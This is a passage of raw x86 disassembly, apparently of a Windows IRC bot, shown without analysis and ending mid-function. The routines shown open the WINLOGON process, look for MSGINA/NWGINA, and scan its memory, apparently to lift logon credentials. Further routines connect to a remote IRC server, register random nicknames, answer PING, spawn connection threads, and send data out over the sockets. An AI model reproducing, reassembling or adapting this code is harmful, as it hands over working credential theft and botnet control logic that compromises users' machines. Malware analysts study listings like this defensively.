cmp [ebp+var_10], esi
jnz short loc_417A1F
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409C75
add esp, 14h
loc_417A1F: ; CODE XREF: sub_41786C+191j
lea eax, [ebp+var_29C]
push eax
call sub_415A3C
push [ebp+var_18]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_41786C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417A3E proc near ; CODE XREF: sub_41786C+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, ds:dword_4F541C
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_4F5418
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call ds:dword_4EBE3C
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call ds:dword_4EBE3C
test eax, eax
jnz short loc_417B2B
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417B2B
xor ecx, ecx
mov ebx, ebp
inc ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417B2B
loc_417AC7: ; CODE XREF: sub_417A3E+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417B1E
push 0
push 0
call ds:dword_4EBE30
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call ds:dword_4EC040
test eax, eax
jnz short loc_417B0F
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_421620
pop ecx
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417B43
loc_417B0F: ; CODE XREF: sub_417A3E+AAj
test edi, edi
jz short loc_417B1A
push edi
call ds:dword_4EBE38
loc_417B1A: ; CODE XREF: sub_417A3E+D3j
mov eax, [esp+28h+var_10]
loc_417B1E: ; CODE XREF: sub_417A3E+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_417AC7
loc_417B2B: ; CODE XREF: sub_417A3E+6Dj
; sub_417A3E+7Aj ...
xor edi, edi
loc_417B2D: ; CODE XREF: sub_417A3E+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov eax, edi
loc_417B3B: ; CODE XREF: sub_417A3E+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417B43: ; CODE XREF: sub_417A3E+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417BAC
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417B59: ; CODE XREF: sub_417A3E+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_421620
pop ecx
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417BC0
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_421620
pop ecx
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417B9E
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_417B9E: ; CODE XREF: sub_417A3E+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417B59
loc_417BAC: ; CODE XREF: sub_417A3E+10Fj
test edi, edi
jz short loc_417BB7
push edi
call ds:dword_4EBE38
loc_417BB7: ; CODE XREF: sub_417A3E+170j
mov edi, [esp+28h+var_4]
jmp loc_417B2D
; ---------------------------------------------------------------------------
loc_417BC0: ; CODE XREF: sub_417A3E+13Cj
xor eax, eax
jmp loc_417B3B
sub_417A3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417BC7 proc near ; CODE XREF: sub_41786C+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call ds:dword_4F5358 ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_417BF0
xor eax, eax
jmp loc_417D68
; ---------------------------------------------------------------------------
loc_417BF0: ; CODE XREF: sub_417BC7+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call ds:dword_4F5428 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, ds:dword_4F541C
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_4F5418
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, ds:dword_4F5424
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_417C40
xor esi, esi
jmp loc_417D5B
; ---------------------------------------------------------------------------
loc_417C40: ; CODE XREF: sub_417BC7+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call ds:dword_4F5420 ; VirtualQueryEx
test eax, eax
jz loc_417D4A
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_417D4A
test [ebp+var_2B], 1
jnz loc_417D4A
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_417D4A
loc_417CA3: ; CODE XREF: sub_417BC7+110j
push edi
push offset dword_4EAE30
call sub_43ACF0
pop ecx
test eax, eax
pop ecx
jnz short loc_417CCB
lea eax, [edi+200h]
push eax
push offset dword_4EB630
call sub_43ACF0
pop ecx
test eax, eax
pop ecx
jz short loc_417CDB
loc_417CCB: ; CODE XREF: sub_417BC7+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jb short loc_417CA3
jmp short loc_417D4A
; ---------------------------------------------------------------------------
loc_417CDB: ; CODE XREF: sub_417BC7+102j
test edi, edi
jz short loc_417D4A
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call ds:dword_4F53E8 ; FileTimeToLocalFileTime
test eax, eax
jz short loc_417D16
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call ds:dword_4F53E4 ; FileTimeToSystemTime
test eax, eax
jz short loc_417D16
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_417D16: ; CODE XREF: sub_417BC7+12Bj
; sub_417BC7+13Dj
movzx eax, byte ptr [edi+42Dh]
mov ds:dword_4EC050, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov ds:dword_4EC048, eax
mov ds:dword_4EC04C, edi
loc_417D4A: ; CODE XREF: sub_417BC7+90j
; sub_417BC7+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_417D5B: ; CODE XREF: sub_417BC7+74j
push [ebp+var_4]
call ds:off_4F533C
pop edi
mov eax, esi
pop ebx
loc_417D68: ; CODE XREF: sub_417BC7+24j
pop esi
leave
retn
sub_417BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D6B proc near ; CODE XREF: sub_41786C:loc_417964p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push [ebp+arg_0]
push 0
push 410h
call ds:dword_4F5358 ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jnz short loc_417D8A
leave
retn
; ---------------------------------------------------------------------------
loc_417D8A: ; CODE XREF: sub_417D6B+1Bj
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call ds:dword_4F5428 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417E52
mov edi, ds:dword_4F541C
loc_417DB4: ; CODE XREF: sub_417D6B+E1j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call ds:dword_4F5420 ; VirtualQueryEx
test eax, eax
jz short loc_417E40
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_417E46
test [ebp+var_13], 1
jnz short loc_417E46
push ecx
push 8
call edi ; GetProcessHeap
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call ds:dword_4F5424 ; ReadProcessMemory
test eax, eax
jz short loc_417E32
push offset dword_4EAE30
push esi
call sub_43ACF0
pop ecx
test eax, eax
pop ecx
jnz short loc_417E32
lea eax, [esi+400h]
push offset dword_4EB630
push eax
call sub_43ACF0
pop ecx
test eax, eax
pop ecx
jz short loc_417E64
loc_417E32: ; CODE XREF: sub_417D6B+9Dj
; sub_417D6B+AEj
push esi
push 0
call edi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
jmp short loc_417E46
; ---------------------------------------------------------------------------
loc_417E40: ; CODE XREF: sub_417D6B+5Bj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_417E46: ; CODE XREF: sub_417D6B+6Fj
; sub_417D6B+75j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417DB4
loc_417E52: ; CODE XREF: sub_417D6B+3Dj
xor esi, esi
loc_417E54: ; CODE XREF: sub_417D6B+12Bj
push [ebp+arg_0]
call ds:off_4F533C
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417E64: ; CODE XREF: sub_417D6B+C5j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov ds:dword_4EC048, ebx
mov ds:dword_4EC04C, eax
cmp [eax], cl
jnz short loc_417E86
cmp [eax+1], cl
jz short loc_417E8E
loc_417E86: ; CODE XREF: sub_417D6B+114j
; sub_417D6B+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417E86
loc_417E8E: ; CODE XREF: sub_417D6B+119j
mov eax, [ebp+arg_4]
xor esi, esi
inc esi
mov [eax], ecx
jmp short loc_417E54
sub_417D6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E98 proc near ; CODE XREF: sub_41786C+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, ds:dword_4EC044
push esi
mov esi, ds:dword_4F541C
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
mov ecx, ds:dword_4EC044
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push ds:dword_4EC04C
push eax
call sub_41FBF0
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr ds:dword_4EC050
push eax
call ds:dword_4EBE34
push [ebp+var_4]
mov edi, offset dword_4EBE40
push offset dword_4EAE30
push offset dword_4EB630
push [ebp+arg_0]
push offset dword_44EDB8
push 200h
push edi
call sub_41EC30
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_417E98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F2F proc near ; CODE XREF: sub_41786C:loc_4179A8p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, ds:dword_4EC044
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call ds:dword_4F541C ; GetProcessHeap
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4EB630
mov edi, 200h
mov esi, offset dword_4EAC30
loc_417F75: ; CODE XREF: sub_417F2F+FAj
mov eax, ds:dword_4EC044
add eax, eax
push eax
push ds:dword_4EC04C
push [ebp+var_14]
call sub_41FBF0
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call ds:dword_4EBE34
mov eax, ds:dword_4EC044
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417FEA
loc_417FB2: ; CODE XREF: sub_417F2F+B3j
cmp [ebp+var_8], 0
jz short loc_418007
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417FD6
cmp byte ptr [ecx+1], 0
jnz short loc_417FD6
cmp dl, 20h
jnb short loc_417FD0
and [ebp+var_8], 0
loc_417FD0: ; CODE XREF: sub_417F2F+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417FDA
loc_417FD6: ; CODE XREF: sub_417F2F+90j
; sub_417F2F+96j
and [ebp+var_8], 0
loc_417FDA: ; CODE XREF: sub_417F2F+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417FB2
cmp [ebp+var_8], 0
jz short loc_418007
loc_417FEA: ; CODE XREF: sub_417F2F+81j
push [ebp+var_14]
push offset dword_4EAE30
push ebx
push [ebp+arg_0]
push offset dword_44EE08
push edi
push esi
call sub_41EC30
add esp, 1Ch
jmp short loc_41801F
; ---------------------------------------------------------------------------
loc_418007: ; CODE XREF: sub_417F2F+87j
; sub_417F2F+B9j
push offset dword_4EAE30
push ebx
push [ebp+arg_0]
push offset dword_44EE58
push edi
push esi
call sub_41EC30
add esp, 18h
loc_41801F: ; CODE XREF: sub_417F2F+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_417F75
push [ebp+var_14]
push 0
call ds:dword_4F541C ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417F2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418048 proc near ; CODE XREF: sub_41820B+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call ds:dword_4E3048 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_4180C4
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call ds:dword_4E2FC8 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call ds:dword_4E3008 ; inet_addr
cmp eax, esi
jnz short loc_4180A9
push [ebp+arg_0]
call ds:dword_4E304C ; gethostbyname
test eax, eax
jz short loc_4180C4
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_4180A9: ; CODE XREF: sub_418048+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call ds:dword_4E2F70 ; connect
cmp eax, esi
jnz short loc_4180C8
push edi
call ds:dword_4E3060 ; closesocket
loc_4180C4: ; CODE XREF: sub_418048+1Bj
; sub_418048+58j
mov eax, esi
jmp short loc_4180CA
; ---------------------------------------------------------------------------
loc_4180C8: ; CODE XREF: sub_418048+73j
mov eax, edi
loc_4180CA: ; CODE XREF: sub_418048+7Ej
pop edi
pop esi
leave
retn
sub_418048 endp
; =============== S U B R O U T I N E =======================================
sub_4180CE proc near ; CODE XREF: sub_401C87+3298p
; sub_401C87+3301p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_44FA88 ; "\n "
push edi
call sub_41F630
pop ecx
mov esi, offset dword_4EC05C
pop ecx
loc_4180E6: ; CODE XREF: sub_4180CE+42j
cmp dword ptr [esi-4], 1
jnz short loc_418104
cmp dword ptr [esi], 0
jbe short loc_418104
push 0
push edi
call sub_41BC70
pop ecx
push eax
push edi
push dword ptr [esi]
call ds:dword_4E3018 ; send
loc_418104: ; CODE XREF: sub_4180CE+1Cj
; sub_4180CE+21j
add esi, 210h
cmp esi, offset byte_4F277C
jl short loc_4180E6
pop edi
pop esi
retn
sub_4180CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418115 proc near ; CODE XREF: sub_41820B+14Fp
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push esi
push edi
push 44FA8Ah
push [ebp+arg_0]
call sub_41F870
xor esi, esi
pop ecx
inc esi
pop ecx
mov [ebp+var_20], eax
xor edi, edi
loc_418137: ; CODE XREF: sub_418115+37j
push 44FA8Ch
push edi
call sub_41F870
mov [ebp+esi*4+var_20], eax
inc esi
pop ecx
cmp esi, 8
pop ecx
jl short loc_418137
cmp [ebp+var_20], edi
mov esi, [ebp+var_1C]
jnz short loc_418162
cmp esi, edi
jnz short loc_418162
xor eax, eax
inc eax
jmp loc_418207
; ---------------------------------------------------------------------------
loc_418162: ; CODE XREF: sub_418115+3Fj
; sub_418115+43j
push [ebp+var_20]
push offset aPing_1 ; "PING"
call sub_41F7E0
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_41818C
lea eax, [ebp+var_220]
push offset aPongS_0 ; "PONG %s\n"
push eax
call sub_41EA60
add esp, 0Ch
jmp short loc_4181E6
; ---------------------------------------------------------------------------
loc_41818C: ; CODE XREF: sub_418115+5Fj
push offset a433_0 ; "433"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4181AD
push esi
push offset a432 ; "432"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_418205
loc_4181AD: ; CODE XREF: sub_418115+85j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41E4B0
lea eax, [ebp+var_420]
push eax
call sub_418428
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_220]
push offset aNickS_5 ; "NICK %s\n"
push eax
call sub_41EA60
add esp, 1Ch
loc_4181E6: ; CODE XREF: sub_418115+75j
lea eax, [ebp+var_220]
push edi
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
loc_418205: ; CODE XREF: sub_418115+96j
xor eax, eax
loc_418207: ; CODE XREF: sub_418115+48j
pop edi
pop esi
leave
retn
sub_418115 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41820B proc near ; DATA XREF: sub_4183AA+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41EF80
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
xor edi, edi
push ds:dword_4EC264[esi]
lea eax, dword_4EC064[esi]
inc edi
push eax
mov ds:dword_4EC058[esi], edi
call sub_418048
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov ds:dword_4EC05C[esi], eax
jb loc_41838A
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41E4B0
lea eax, [ebp+var_2008]
push eax
call sub_418428
lea eax, [ebp+var_4008]
push eax
call sub_418428
lea eax, [ebp+var_3008]
push eax
call sub_418428
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41EA60
add esp, 2Ch
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push ds:dword_4EC05C[esi]
call ds:dword_4E3018 ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
loc_4182E4: ; CODE XREF: sub_41820B+17Aj
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push ds:dword_4EC05C[esi]
call ds:dword_4E2FE0 ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_41838A
xor eax, eax
cmp [ebp+var_8], ebx
jmp short loc_418380
; ---------------------------------------------------------------------------
loc_418318: ; CODE XREF: sub_41820B+178j
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_41833F
cmp al, 0Ah
jz short loc_41833F
cmp [ebp+arg_0], 0FA0h
jz short loc_41833F
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_418379
; ---------------------------------------------------------------------------
loc_41833F: ; CODE XREF: sub_41820B+116j
; sub_41820B+11Aj ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_418379
push ds:dword_4EC05C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_418115
pop ecx
test eax, eax
pop ecx
ja short loc_41838A
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_418379: ; CODE XREF: sub_41820B+132j
; sub_41820B+139j
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
loc_418380: ; CODE XREF: sub_41820B+10Bj
mov [ebp+var_4], eax
jnz short loc_418318
jmp loc_4182E4
; ---------------------------------------------------------------------------
loc_41838A: ; CODE XREF: sub_41820B+40j
; sub_41820B+104j ...
mov ds:dword_4EC058[esi], ebx
mov esi, ds:dword_4EC05C[esi]
cmp esi, ebx
jbe short loc_4183A1
push esi
call ds:dword_4E3060 ; closesocket
loc_4183A1: ; CODE XREF: sub_41820B+18Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_41820B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4183AA proc near ; CODE XREF: sub_401C87+31EBp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_418423
loc_4183BC: ; CODE XREF: sub_4183AA+77j
xor edi, edi
mov eax, offset dword_4EC058
loc_4183C3: ; CODE XREF: sub_4183AA+28j
cmp [eax], ebx
jz short loc_4183D4
add eax, 210h
inc edi
cmp eax, offset byte_4F2778
jl short loc_4183C3
loc_4183D4: ; CODE XREF: sub_4183AA+1Bj
cmp edi, 31h
jz short loc_418423
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4EC064[esi]
push eax
call sub_41F620
mov eax, [ebp+arg_4]
pop ecx
mov ds:dword_4EC264[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov ds:dword_4EC058[esi], 1
push eax
push ebx
push edi
push offset sub_41820B
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_4183BC
loc_418423: ; CODE XREF: sub_4183AA+10j
; sub_4183AA+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_4183AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418428 proc near ; CODE XREF: sub_401C87+373Ep
; sub_401C87+3781p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
call sub_41EB70
mov [ebp+var_4], eax
fild [ebp+var_4]
fmul ds:dbl_43C4D8
call sub_4201DC
cmp eax, 1
jnz short loc_418472
call sub_41EB70
call sub_41EB70
push 66h
cdq
pop ecx
idiv ecx
push ds:off_44F8F0[edx*4]
jmp short loc_41848B
; ---------------------------------------------------------------------------
loc_418472: ; CODE XREF: sub_418428+2Fj
call sub_41EB70
call sub_41EB70
cdq
mov ecx, 0C0h
idiv ecx
push ds:off_44F430[edx*4]
loc_41848B: ; CODE XREF: sub_418428+48j
lea eax, [ebp+var_2C]
push eax
call sub_41F620
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41BC70
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
call sub_41EB70
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul ds:dbl_43C4D0
call sub_4201DC
mov ebx, eax
call sub_41EB70
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fimul [ebp+var_4]
fmul ds:dbl_43C4C8
call sub_4201DC
cmp esi, 2
mov edi, offset a__2 ; "-|`_\\{[]}"
jle short loc_4184FE
cmp esi, 3
jnz short loc_4184F5
cmp ebx, 1
jz short loc_4184FE
loc_4184F5: ; CODE XREF: sub_418428+C6j
cmp eax, 1
jnz loc_4185B7
loc_4184FE: ; CODE XREF: sub_418428+C1j
; sub_418428+CBj
call sub_41EB70
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul ds:dbl_43C4C0
call sub_4201DC
push ds:off_44F8F0[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41F620
lea ebx, [ebp+esi+var_2C]
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41F720
add esp, 10h
test eax, eax
jnz short loc_4185A4
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41F720
pop ecx
test eax, eax
pop ecx
jnz short loc_4185A4
call sub_41EB70
mov dword ptr [ebp+var_10+4], eax
dec esi
fild dword ptr [ebp+var_10+4]
mov dword ptr [ebp+var_10+4], esi
fild dword ptr [ebp+var_10+4]
fmulp st(1), st
fmul ds:dbl_43C4C8
call sub_4201DC
cmp eax, 1
jnz short loc_4185A4
push edi
call sub_41BC70
and dword ptr [ebp+var_10+4], 0
mov dword ptr [ebp+var_10], eax
fild [ebp+var_10]
pop ecx
fstp qword ptr [ebp-8]
call sub_41EB70
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul qword ptr [ebp-8]
fmul ds:dbl_43C4C8
call sub_4201DC
mov al, byte ptr ds:a__2[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_4185A4: ; CODE XREF: sub_418428+110j
; sub_418428+121j ...
push dword ptr [ebp+var_18+4]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41FAC0
add esp, 0Ch
loc_4185B7: ; CODE XREF: sub_418428+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41BC70
mov esi, eax
mov [ebp+var_4], esi
movsx eax, [ebp+esi+var_2D]
push eax
call sub_4218B0
pop ecx
test eax, eax
pop ecx
jnz loc_41880E
